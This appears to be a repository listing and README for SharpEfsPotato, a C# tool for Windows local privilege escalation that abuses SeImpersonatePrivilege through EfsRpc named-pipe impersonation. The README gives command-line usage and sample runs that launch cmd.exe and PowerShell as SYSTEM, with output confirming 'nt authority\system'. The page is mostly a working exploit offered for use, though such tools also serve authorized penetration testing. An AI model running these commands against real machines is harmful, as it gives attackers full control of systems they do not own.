https://github.com/bugch3ck/SharpEfsPotato

Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
https://github.com/bugch3ck/SharpEfsPotato

Last synced: about 1 month ago
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Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

• Host: GitHub
• URL: https://github.com/bugch3ck/SharpEfsPotato
• Owner: bugch3ck
• Created: 2022-10-17T12:20:47.000Z (almost 2 years ago)
• Default Branch: master
• Last Pushed: 2022-10-17T12:35:06.000Z (almost 2 years ago)
• Last Synced: 2024-05-07T00:35:21.548Z (4 months ago)
• Language: C#
• Homepage:
• Size: 31.3 KB
• Stars: 280
• Watchers: 4
• Forks: 43
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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• awesome-hacking-lists - bugch3ck/SharpEfsPotato - Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (C# #)

README

        
# SharpEfsPotato

Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

## Usage

```

C:\temp>SharpEfsPotato.exe -h

SharpEfsPotato by @bugch3ck

  Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

  Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

  -p, --prog=VALUE           Program to launch (default cmd.exe)

  -a, --args=VALUE           Arguments for program (default null)

  -h, --help                 Display this help

```

## Examples

### Default behavior: Start cmd.exe as system in a separate process (in separate console)

```

C:\temp>SharpEfsPotato.exe

SharpEfsPotato by @bugch3ck

  Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

  Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/44259a4a-cbea-499b-9dc5-a9b1c13a4b9f/\44259a4a-cbea-499b-9dc5-a9b1c13a4b9f\44259a4a-cbea-499b-9dc5-a9b1c13a4b9f

df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:

[x]RpcBindingSetAuthInfo failed with status 0x6d3

[+] Server connected to our evil RPC pipe

[+] Duplicated impersonation token ready for process creation

[+] Intercepted and authenticated successfully, launching program

[+] Process created, enjoy!

```

### Specify PowerShell binary and arguments

```

C:\temp>SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"

SharpEfsPotato by @bugch3ck

  Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

  Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2

df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:

[x]RpcBindingSetAuthInfo failed with status 0x6d3

[+] Server connected to our evil RPC pipe

[+] Duplicated impersonation token ready for process creation

[+] Intercepted and authenticated successfully, launching program

[+] Process created, enjoy!

C:\temp>type C:\temp\w.log

nt authority\system

```